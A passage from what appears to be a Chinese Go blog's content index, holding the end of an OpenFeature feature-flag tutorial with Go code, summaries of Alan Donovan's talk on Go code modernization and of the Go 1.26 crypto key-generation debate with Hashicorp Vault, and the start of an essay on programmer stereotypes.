price.\\n\u0026#34;) } } 运行方式：\n$go mod tidy $go run main.go ✅ OpenFeature In-Process provider is ready! ✅ User user-123 gets a discount! --- Testing another user --- ❌ User user-456 pays full price. --- Testing with detailed user context --- ❌ User user-789 pays full price. 解析：为什么阶段三更优？\n在阶段三的代码中，我们实现了关注点分离：\n配置代码（A 部分）：负责选型。今天用 go-feature-flag，明天老板有钱了想换商业版 LaunchDarkly，只需要改这几行代码，引入新的 Provider 即可。 业务代码（B 部分）：负责使用。它只依赖 openfeature 的接口。无论底层怎么变，业务逻辑都稳如泰山。 这就是 OpenFeature 带来的核心价值：用标准化的接口，以此御繁。\n不过细心的读者可能会发现demo3的代码还是过于耦合go-feature-flag这个包了，没错！demo3只是一个基于本地配置文件的最简单的演示代码，openfeature官方更推荐使用relay proxy server的部署方式。接下来，我们来看看demo4。\n阶段四：使用Relay Proxy Server进一步降低耦合 使用 Relay Proxy 方式的优势：\n松耦合: 应用程序只依赖 OpenFeature SDK，不依赖 go-feature-flag 核心库 语言无关: Relay Proxy 提供 HTTP API，任何语言都可以使用 集中管理: 多个应用可以共享同一个 Relay Proxy 性能优化: Relay Proxy 做缓存和批量处理 生产就绪: 这是官方推荐的生产环境部署方式 我们来看代码。首先flags.yaml与demo2和demo3的一样，这里就不重复贴代码了。\n我们建立demo4的main.go文件，内容如下：\n// demo4/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; // OpenFeature SDK \u0026#34;github.com/open-feature/go-sdk/openfeature\u0026#34; // GO Feature Flag Provider (连接 Relay Proxy) gofeatureflag \u0026#34;github.com/open-feature/go-sdk-contrib/providers/go-feature-flag/pkg\u0026#34; ) func main() { // ========================================== // A. 初始化层 (Infrastructure Layer) // ========================================== ctx := context.Background() // 1. 创建 GO Feature Flag Provider (连接到 Relay Proxy) options := gofeatureflag.ProviderOptions{ Endpoint: \u0026#34;http://localhost:1031\u0026#34;, // Relay Proxy 地址 HTTPClient: \u0026amp;http.Client{ Timeout: 5 * time.Second, // 设置 HTTP 超时时间 }, } provider, err := gofeatureflag.NewProviderWithContext(ctx, options) if err != nil { panic(fmt.Errorf(\u0026#34;failed to create provider: %v\u0026#34;, err)) } defer provider.Shutdown() // 2. 设置 OpenFeature Provider 并等待初始化完成 err = openfeature.SetProviderAndWait(provider) if err != nil { panic(fmt.Errorf(\u0026#34;failed to set provider: %v\u0026#34;, err)) } fmt.Println(\u0026#34;✅ OpenFeature provider connected to Relay Proxy successfully!\u0026#34;) // ========================================== // B. 业务逻辑层 (Business Logic Layer) // ========================================== // 1. 获取 OpenFeature 客户端 client := openfeature.NewClient(\u0026#34;app-backend\u0026#34;) // 2. 准备评估上下文 - 用户 user-123 userID := \u0026#34;user-123\u0026#34; evalCtx := openfeature.NewEvaluationContext( userID, map[string]interface{}{ \u0026#34;email\u0026#34;: \u0026#34;test@example.com\u0026#34;, }, ) // 3. 评估 Flag hasDiscount, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, // Flag Key false, // Default Value evalCtx, // Context ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscount { fmt.Printf(\u0026#34;✅ User %s gets a discount!\\n\u0026#34;, userID) } else { fmt.Printf(\u0026#34;❌ User %s pays full price.\\n\u0026#34;, userID) } // ========================================== // C. 测试其他用户 // ========================================== fmt.Println(\u0026#34;\\n--- Testing another user ---\u0026#34;) anotherUserCtx := openfeature.NewEvaluationContext( \u0026#34;user-456\u0026#34;, map[string]interface{}{ \u0026#34;email\u0026#34;: \u0026#34;another@example.com\u0026#34;, }, ) hasDiscountAnother, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, false, anotherUserCtx, ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscountAnother { fmt.Printf(\u0026#34;✅ User user-456 gets a discount!\\n\u0026#34;) } else { fmt.Printf(\u0026#34;❌ User user-456 pays full price.\\n\u0026#34;) } // ========================================== // D. 展示更复杂的评估上下文示例 // ========================================== fmt.Println(\u0026#34;\\n--- Testing with detailed user context ---\u0026#34;) detailedUserCtx := openfeature.NewEvaluationContext( \u0026#34;user-789\u0026#34;, map[string]interface{}{ \u0026#34;firstname\u0026#34;: \u0026#34;john\u0026#34;, \u0026#34;lastname\u0026#34;: \u0026#34;doe\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;john.doe@example.com\u0026#34;, \u0026#34;admin\u0026#34;: true, \u0026#34;anonymous\u0026#34;: false, }, ) hasDiscountDetailed, err := client.BooleanValue( context.Background(), \u0026#34;holiday-promo\u0026#34;, false, detailedUserCtx, ) if err != nil { fmt.Printf(\u0026#34;Error evaluating flag: %v\\n\u0026#34;, err) } if hasDiscountDetailed { fmt.Printf(\u0026#34;✅ User user-789 gets a discount!\\n\u0026#34;) } else { fmt.Printf(\u0026#34;❌ User user-789 pays full price.\\n\u0026#34;) } } 运行这个程序之前，我们需要安装和运行relay proxy server，先在本地安装一个relay proxy server:\n$go install github.com/thomaspoignant/go-feature-flag/cmd/relayproxy@latest 接下来，创建一个relay proxy的配置：relay-proxy-config.yaml\n# HTTP 服务配置 listen: 1031 # 轮询间隔 (毫秒) pollingInterval: 1000 # 如果检索器出错是否启动 startWithRetrieverError: false # 配置文件检索器, 使用了我们特性开关配置文件flags.yaml retriever: kind: file path: flags.yaml # 日志导出器（可选） exporter: kind: log 运行relay-proxy的配置：\n$relayproxy --config=relay-proxy-config.yaml █▀▀ █▀█ █▀▀ █▀▀ ▄▀█ ▀█▀ █ █ █▀█ █▀▀ █▀▀ █ ▄▀█ █▀▀ █▄█ █▄█ █▀ ██▄ █▀█ █ █▄█ █▀▄ ██▄ █▀ █▄▄ █▀█ █▄█ █▀█ █▀▀ █ ▄▀█ █▄█ █▀█ █▀█ █▀█ ▀▄▀ █▄█ █▀▄ ██▄ █▄▄ █▀█ █ █▀▀ █▀▄ █▄█ █ █ █ GO Feature Flag Relay Proxy - Version localdev _____________________________________________ {\u0026#34;level\u0026#34;:\u0026#34;warn\u0026#34;,\u0026#34;ts\u0026#34;:1766376488.501164,\u0026#34;caller\u0026#34;:\u0026#34;config/config_server.go:92\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;The server port is set using port, this option is deprecated, please migrate to server.port\u0026#34;} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1766376488.5039968,\u0026#34;msg\u0026#34;:\u0026#34;flag added\u0026#34;,\u0026#34;key\u0026#34;:\u0026#34;holiday-promo\u0026#34;} {\u0026#34;level\u0026#34;:\u0026#34;warn\u0026#34;,\u0026#34;ts\u0026#34;:1766376488.504297,\u0026#34;caller\u0026#34;:\u0026#34;config/config_server.go:92\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;The server port is set using port, this option is deprecated, please migrate to server.port\u0026#34;} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1766376488.5043359,\u0026#34;caller\u0026#34;:\u0026#34;api/server.go:185\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;Starting go-feature-flag relay proxy ...\u0026#34;,\u0026#34;address\u0026#34;:\u0026#34;0.0.0.0:1031\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;localdev\u0026#34;} 之后，我们运行main.go：\n$go run main.go ✅ OpenFeature provider connected to Relay Proxy successfully! ✅ User user-123 gets a discount! --- Testing another user --- ❌ User user-456 pays full price. --- Testing with detailed user context --- ❌ User user-789 pays full price. main连接到relay-proxy server，并将评估上下文传递给 relay proxy server。后者结合后台配置的规则(flags.yaml)，动态决定返回 true 还是 false。\n深度价值：不仅仅是解耦 OpenFeature 的规范中还包含了一些强大的高级特性：\nHooks (钩子): 你可以在 Flag 评估的生命周期中（Before, After, Error, Finally）插入自定义逻辑。\n应用场景：每当 Flag 被评估时，自动向 Prometheus 发送指标；或者在 Flag 评估失败时，自动记录详细的错误日志。 Type Safety (类型安全): OpenFeature SDK 提供了强类型的方法，如 BooleanValue, StringValue, ObjectValue，避免了类型转换的繁琐和风险。\n小结 正如 OpenTelemetry 让可观测性变得标准统一，OpenFeature 正在让特性开关的管理变得规范有序。\n对于 Go 开发者来说，尽早拥抱 OpenFeature，不仅是为了避免未来的重构成本，更是为了建立一种更加健壮、灵活的发布文化。告别混乱的 if-else，让你的代码在标准化的轨道上飞驰吧。\n本文涉及的示例源码，可以在这里下载。\n资料链接：\nhttps://openfeature.dev/docs/reference/intro https://www.youtube.com/watch?v=UqdfOiuTthI 聊聊你的“开关”故事\n特性开关是现代软件交付的利器，但也可能成为技术债的温床。你在项目中是如何管理特性开关的？是否遇到过因为开关未及时清理而导致的“幽灵代码”问题？或者，你对 OpenFeature 这种标准化方案有什么看法？\n欢迎在评论区分享你的经验和吐槽！ 让我们一起探索更优雅的工程实践。\n如果这篇文章对你有帮助，别忘了点个【赞】和【在看】，并转发给你的团队，让大家一起告别“If-Else地狱”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/goodbye-if-else-hell-openfeature-feature-flag-management-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go\"\u003ehttps://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件开发的早期，我们都有过这样的经历：为了上线一个不确定的新功能，我们在代码里写下了：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif os.Getenv(\u0026#34;ENABLE_NEW_FEATURE\u0026#34;) == \u0026#34;true\u0026#34; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    // 新逻辑\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} else {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    // 旧逻辑\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e简单、直接，但也埋下了隐患。随着系统变得复杂，这种零散的、基于环境变量或配置文件的开关，迅速演变成了难以维护的“If-Else 地狱”。\u003c/p\u003e","title":"告别“If-Else”地狱：OpenFeature 如何重塑 Go 应用的特性开关管理？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/22/alan-donovan-go-code-modernization\n大家好，我是Tony Bai。\n“Go 承诺了兼容性，但这并不意味着我们应该永远停留在过去。”\n在 GopherCon 2025 上，Go 团队核心成员、静态分析工具专家 Alan Donovan 带来了一场题为《Analysis and Transformation Tools for Go Codebase Modernization》的精彩演讲。\n他的分享揭示了一个有趣的现象：当我们还在为 AI 生成的代码欢呼时，Go 官方团队却发现 AI 正在固化过时的编程模式。 为了应对这一挑战，官方正在构建一套强大的自动化工具链，帮助我们将代码库带入 Modern Go 的时代。\n本文将带你深入这场演讲的核心，揭秘 Go 官方如何通过工具化手段，解决 AI 时代的“代码老化”问题。\n为什么要“现代化”？ Go 的兼容性承诺是其成功的基石，但这同时也带来了一个副作用：旧的代码永远能跑，所以我们很少有动力去更新它。\n然而，随着 Go 版本的迭代，语言和标准库引入了大量旨在提升可读性、性能和安全性的新特性：\nDonovan 展示了一个经典案例：一段传统的、使用了 strings.Split 和三段式 for 循环的代码（如下图）：\n通过引入新特性（迭代器、slices.Contains、range int），这段代码不仅减少了 6 行，还消除了不必要的内存分配，逻辑变得一目了然。新的现代Go代码如下图：\n现代化的意义，不仅在于代码质量的提升，更在于开发者能力的进化。 通过工具自动应用这些新模式，开发者能在潜移默化中学习到“更地道”的 Go 写法。\nAI 的局限与工具的使命 Donovan 分享了一个令人深思的实验：他测试了当前最先进的“思考型”大模型，要求它们使用最新的 Go 特性编写代码。\n结果令人大跌眼镜：AI 顽固地坚持使用旧式的写法。\n即使在被明确提示使用新特性后，AI 依然会编造出“这个特性在 1.22 中不可用”等谎言来为自己辩护，或者即使使用了新特性，也经常写出错误的代码。\n“AI 是在旧代码的海洋中训练出来的。如果全世界的代码都是旧的，AI 就会永远说着一口‘老式 Go’的方言。”\n这揭示了一个深刻的矛盾：AI 正在固化过时的编程模式。 打破这个循环的唯一方法，就是大规模地更新现有的代码库，让 AI 学习到新的语料。而这，正是 Go 官方工具链的使命。\n第一条路径——定制化的 Modernizers 为了解决这个问题，Go 团队基于 go/analysis 框架（也就是 go vet 和 gopls 的底座），开发了一套名为 Modernizers 的分析器。\nModernizer 是一个特殊的 Linter，不仅能发现问题，还能提供自动修复 (Fix)，并且这个修复必须是使用新特性且绝对安全的。\nGo 团队已经开发了约 20 个 Modernizers，并在 gopls v0.18 中发布。你现在在编辑器中看到的很多“建议修改”，背后就是它在工作。\n然而，开发 Modernizer 的过程充满了艰辛。Donovan 以 range int 这个看似简单的重构为例，展示了它在处理变量作用域、副作用顺序时遇到的 4 个极其隐蔽的 Bug。比如下面这个：\n“直接的语法树操作 (AST manipulation) 极其困难，即使是经验丰富的专家也容易出错。”\nModernizers 虽然好用，但开发成本极高，且只能针对特定特性进行定制，难以作为通用的解决方案。\n注：要使用上述modernizer，需要单独运行命令go run golang.org/x/tools/go/analysis/passes/modernize/cmd/modernize@latest -fix ./…。\n第二条路径——通用的 Auto-Inliner 为了解决 Modernizers 的局限性，赋能社区自己进行现代化改造，Go 团队探索出了一条更通用、更安全的路径：基于内联 (Inlining) 的“自助式重构”。\n核心思想 如果我们想要废弃一个旧函数（如 oldmath.Sub），并引导用户使用新函数，库作者只需要做两件事：\n保留旧函数，但将其实现修改为直接调用新函数。 添加魔法注释：//go:fix inline。 工具的威力 当 gopls 或未来的 go fix 命令看到这个注释时，它会自动将所有调用 oldmath.Sub(a, b) 的地方，安全地替换为 newmath.Sub(b, a)。\n注：由于newmath.Sub(b, a)是oldmath.Sub(a,b)的新实现，因此称为inline，而且是source-level inline。\n实际的替换是这样的：\n这个机制的强大之处在于：\n安全性：内联器 (Inliner) 是一个极其复杂的算法（约 7000 行代码），它已经系统性地处理了所有副作用顺序、变量遮蔽等边缘情况。基于它进行的重构，天然就是安全的。 自服务 (Self-Service)：任何库的作者，都可以通过添加一行注释，来引导用户迁移到新的 API。这不再是 Go 官方的特权。 Google 内部的 C++ 团队已经利用类似的机制清理了 200 万处调用。Go 团队计划在 Go 1.26 或 1.27 中，将这一能力正式带入 go fix 命令。\n小结：拥抱变化，拥抱工具 Alan Donovan 的演讲，为我们描绘了一个清晰的未来：\nModernizers 将继续作为官方维护的精品工具，帮助我们采纳语言的新特性。 Auto-Inliner 将赋能所有库作者，以一种安全、自动化的方式推动生态系统的演进。 作为 Gopher，我们需要做的，就是及时更新我们的工具链，关注 gopls 的提示，并乐于接受这些自动化的改进。因为在 AI 还在学习旧代码的时候，我们的工具已经准备好带领我们通向 Modern Go 的未来。\n资料链接：https://www.youtube.com/watch?v=_VePjjjV9JU\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/22/alan-donovan-go-code-modernization/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/alan-donovan-go-code-modernization-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/22/alan-donovan-go-code-modernization\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/22/alan-donovan-go-code-modernization\"\u003ehttps://tonybai.com/2025/12/22/alan-donovan-go-code-modernization\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Go 承诺了兼容性，但这并不意味着我们应该永远停留在过去。”\u003c/p\u003e\n\u003cp\u003e在 GopherCon 2025 上，Go 团队核心成员、静态分析工具专家 Alan Donovan 带来了一场题为《\u003ca href=\"https://www.youtube.com/watch?v=_VePjjjV9JU\"\u003eAnalysis and Transformation Tools for Go Codebase Modernization\u003c/a\u003e》的精彩演讲。\u003c/p\u003e","title":"AI 还在写“老式 Go”？Alan Donovan 详解 Go 代码的现代化"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security\n大家好，我是Tony Bai。\n近日，一个看似不起眼的 Go 语言issue，在社区引发了一场“地震级”的辩论。这场辩论的主角，一方是 Go 安全团队的灵魂人物 Filippo Valsorda，另一方则是开源安全巨头 Hashicorp Vault 的核心开发者。\n辩论的焦点是：Go 1.26 计划“废除” crypto 包中一系列密钥生成函数（如 rsa.GenerateKey）的 rand io.Reader 参数，使其在默认情况下强制使用 crypto/rand.Reader 作为唯一的熵源。\n这一变更，对于绝大多数 Gopher 来说，似乎无关痛痒甚至更安全。但对于 Hashicorp Vault 这样需要满足**硬件安全模块 (HSM) 和 FIPS 合规性**等严苛要求的项目而言，这无异于一场“釜底抽薪”。\n这场“加密风暴”，深刻地揭示了 Go 语言在追求普适安全性与满足特定企业级需求之间的永恒张力。\nHashicorp 的“求救”——“我们的核心功能被破坏了” Hashicorp Vault 的开发者 sgmiller 首先发难。他指出，Vault 的许多客户，出于合规性或审计要求，强制要求所有密钥的生成，必须直接源自经过认证的硬件随机数生成器（通过 PKCS#11 HSM 设备）。\nVault 的实现方式，正是通过 crypto 包中那些 GenerateKey 函数的 rand io.Reader 参数，将来自 HSM 的“硬件熵”直接注入到密钥生成过程中。\nGo 1.26 的变更——即保留该参数，但在默认情况下忽略它——将使这一核心功能完全失效。sgmiller 认为，这是一种破坏 API 语义的重大变更，唯一的出路似乎只剩下：\nFork 标准库：自行维护一套密钥生成代码，但这将带来巨大的维护成本和安全风险。\n依赖一个临时的 GODEBUG 环境变量：但这并非长久之计。\nFilippo 的“三连击”——强硬而深刻的回应 Go 安全团队的 Filippo Valsorda 随后给出了堪称“教科书级别”的回应。他的论点层层递进，不仅解释了“为什么这么做”，更深刻地阐述了 Go 团队的安全哲学。\n第一击：从安全角度看，你的需求“毫无意义” Filippo 首先从纯粹的安全角度，直接否定了 Vault 需求的合理性。\n“说实话，我看不出这个功能有什么安全意义。如果你担心操作系统的熵池，那就一次性从你的 HSM 读取 256 比特的随机数，然后写入 /dev/urandom。Go（以及其他所有程序）都会在系统熵池的基础上，使用你注入的这份熵。这比你自己实现一个用户空间的 DRBG 要安全得多。”\n“我保守估计，你的 PKCS#11 驱动程序、DRBG 或 HSM 本身出 Bug 的概率，是 Linux 内核随机数子系统出 Bug 概率的 100 倍。”\n这段话的潜台词是：你以为你在增强安全性，但实际上，你引入的复杂性和潜在的 Bug 源，远比你试图解决的问题更危险。\n荒谬的需求，不能靠上游的复杂性来满足 接着，Filippo 展现了惊人的同理心和务实精神。他承认，现实世界中充满了各种“荒谬的”合规要求。\n“然而，有时客户就是有一些他们愿意花钱满足的、毫无意义的需求，我懂的！（我TMD就在做 FIPS 140-3 的业务，我怎么会不懂呢？）”\n“但是，这些荒谬的需求，不能通过增加上游库的复杂性来满足，因为上游库的目标是真正的安全，而不是帮你勾选审计清单。如果需要，客户的钱应该用来支付变通方案 (workarounds) 的成本。”\n在这里，Filippo 明确地划清了界限：Go 标准库的职责，是为 99.999% 的用户提供默认安全、简单清晰的 API。 为了满足极少数用户的、非安全驱动的“合规复选框”，而让标准库的实现和维护变得更加复杂，是一种本末倒置。\n第三击：所谓的“破坏”，其实并不存在 最后，Filippo 指出，所谓的“破坏”其实被夸大了。\nFork 并非洪水猛兽：对于 RSA 密钥生成，自己实现一个符合 Vault 需求的版本，可能只需要“2-5 个工程师日”的工作量。这并非一次“Fork 标准库”的壮举，而是一次小型的、可控的自研。 FIPS 合规性是个伪命题：他进一步指出，无论是 Go+BoringCrypto 还是原生的 FIPS 模块，在“认证模式”下，从来都不支持通过 io.Reader 参数注入外部熵源。任何这样做的尝试，都会自动退出 FIPS 认证模式。因此，Vault 现有的实现，本就不是 FIPS 兼容的。 辩论的深层——API 语义与确定性密钥生成 这场辩论并未就此结束。Hashicorp 的另一位开发者 jefferai 指出，rand 参数的另一个重要用途是确定性密钥生成 (deterministic key generation)，例如，通过对一组输入进行哈希，得到一个可预测的密钥。这在某些测试和特定协议中非常有用。\nFilippo 再次明确了 Go 的设计哲学：\n“这正是我们想要避免的。GenerateKey 这个函数，其唯一的语义就是生成随机密钥。如果你想要确定性密钥生成，你需要的是一个明确的规范和实现，而不是通过‘滥用’一个用于注入随机性的参数。”\n这揭示了 Go 团队进行此次变更的另一个深层原因：简化 API 语义，消除模糊地带。他们希望 GenerateKey 只做一件事，并把它做好。\nGo 社区的核心启示 这场发生在顶尖工程师之间的“神仙打架”，为我们所有 Gopher 带来了几点极其宝贵的启示：\n理解 Go 的安全哲学：默认安全 Go 团队正越来越多地采取一种“家长式”的安全策略：默认提供最安全、最简单的选项，并逐步移除那些可能被误用的“高级”选项。 这要求我们信任标准库，而不是试图用自己的“小聪明”去绕过它。\nAPI 设计：清晰的语义胜过一切 一个 API 的每个参数都应该有其明确、单一的用途。Filippo 的论点提醒我们，不要设计那些可以被“巧妙地滥用”的 API。如果一个功能是必要的，就为它设计一个专门的、语义清晰的 API。\n拥抱 GODEBUG：一个“软弃用”的缓冲带 Go 团队通过 GODEBUG 环境变量，为这类破坏性变更提供了长达数年（通常是 2 年）的过渡期。我们应该学会利用 //go:debug 指令和 godebug go.mod 设置，来有意识地管理这些变更，而不是等到最后期限才手忙脚乱。\n小结 这场“加密风暴”，最终以 Go 团队坚持其设计哲学而告终。它或许会让 Hashicorp 这样的重量级用户付出一些额外的开发成本，但从长远来看，一个更简单、更安全、语义更清晰的 crypto 标准库，将使整个 Go 生态受益。\n这正是 Go 语言持续成功的秘诀：在无尽的特性需求和复杂的现实世界面前，勇敢地、有时甚至是“固执”地，对复杂性说“不”。\n资料链接：https://github.com/golang/go/issues/76856\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-1-26-cryptographic-storm-vault-compliance-vs-go-security-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security\"\u003ehttps://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一个看似不起眼的 Go 语言issue，在社区引发了\u003ca href=\"https://github.com/golang/go/issues/76856\"\u003e一场“地震级”的辩论\u003c/a\u003e。这场辩论的主角，一方是 Go 安全团队的灵魂人物 Filippo Valsorda，另一方则是开源安全巨头 Hashicorp Vault 的核心开发者。\u003c/p\u003e","title":"Go 1.26 的“加密风暴”：当 Hashicorp Vault 的合规需求，撞上 Go 团队的安全哲学"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas\n大家好，我是Tony Bai。\n最近陪家人看几部青春都市剧，实在忍不住想吐槽。\n无论题材如何变，编剧笔下的程序员永远是那副德行：戴着黑框眼镜，背着双肩包，唯唯诺诺。而他们的戏份，似乎永远逃不开那一幕——\n男主角或者女神的电脑坏了，喊一声：“喂，那个谁，来修一下。”\n然后镜头一转，程序员满头大汗地重启电脑，憨厚一笑。\n别演了，真的。\n都2025年了，大众对程序员的误解依然停留在“修电脑”和“当备胎”的阶段。\n今天，我想撕掉这些标签，聊聊真实的程序员到底在做什么，以及为什么我们这群看似“无趣”的人，实则是未来 30 年人类文明的推手。\n“没文化”的工具人？一种中国式的误读 在中国人的传统潜意识里，什么是“有才华”？什么是“有智慧”？\n是引经据典，是出口成章，是懂《周易》懂历史，是酒桌上推杯换盏间的人情练达。我们推崇的是**“国学”与“人学”**。\n而程序员呢？\n我们脑子里装的是 GMP 调度模型，是 Transformer 架构，是 Raft 共识算法。\n这些知识的认知门槛极高，掌握难度远超背诵几首唐诗。但在大众眼里，这叫“技能”，不叫“学问”；这叫“工具”，不叫“智慧”。\n这就造成了一个巨大的荒诞：\n一个能徒手写出操作系统内核的顶级工程师，可能因为在饭局上接不上关于“职场厚黑学”的梗，或者不懂得先敬领导一杯酒，就被贴上**“木讷”、“情商低”、“读书读傻了”**的标签。\n我们不是学不会那些，我们只是不Care。\n程序员的思维通过了严苛的逻辑训练，我们习惯了用 O(1) 的复杂度直达本质。对于那些充满了冗余、虚伪和 O(n^2) 复杂度的繁文缛节，我们的大脑会自动执行 Garbage Collection（垃圾回收）。\n这种对他人的“降噪”处理，让我们在影视剧里看起来像个“怪胎”，但在代码的世界里，这正是我们构建万物的基石。\n格子衫已死：新物种的诞生 如果我们把目光从影视剧移开，看一眼身边真实的 95 后、00 后程序员，你会发现那个“木讷”的标签早已过期。\n程序员这个物种，正在经历一次剧烈的“版本迭代”。\n去看看现在的互联网大厂，那个传说中的“格子衫军团”正在消失。取而代之的，是滑板少年、是汉服爱好者、是玩死亡重金属的贝斯手。\n斜杠青年（Slash）： 你以为他只是个写 Go 语言的后端？下班后，他可能是 B 站拥有十万粉丝的科普 Up 主，可能是独立游戏的制作人，也可能是用 AI 生成艺术画作的数字艺术家。\n拒绝被定义： 